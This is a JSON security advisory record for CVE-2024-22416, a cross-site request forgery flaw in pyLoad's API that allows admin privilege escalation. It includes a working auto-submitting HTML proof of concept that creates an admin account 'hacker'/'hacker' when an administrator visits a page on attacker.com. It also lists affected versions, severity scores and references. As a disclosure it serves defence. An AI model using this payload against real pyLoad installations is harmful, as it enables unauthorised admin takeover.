{"id":"GHSA-pgpj-v85q-h5fm","summary":"Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation","details":"### Summary\nThe `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.\n\n### PoC\nWe host the following HTML file on an attacker-controlled server.\n```html\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22\"\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nIf we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.\n![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png)\n\nThe attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.\n![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png)\n\n### Impact\nAny API call can be made via a CSRF attack by an unauthenticated user.\n","aliases":["CVE-2024-22416","PYSEC-2024-17"],"modified":"2026-09-10T03:50:05.056650752Z","published":"2024-01-19T15:27:12Z","database_specific":{"nvd_published_at":"2024-01-18T00:15:38Z","cwe_ids":["CWE-352"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2024-01-19T15:27:12Z"},"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22416"},{"type":"WEB","url":"https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e"},{"type":"WEB","url":"https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml"}],"affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev78"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/01/GHSA-pgpj-v85q-h5fm/GHSA-pgpj-v85q-h5fm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}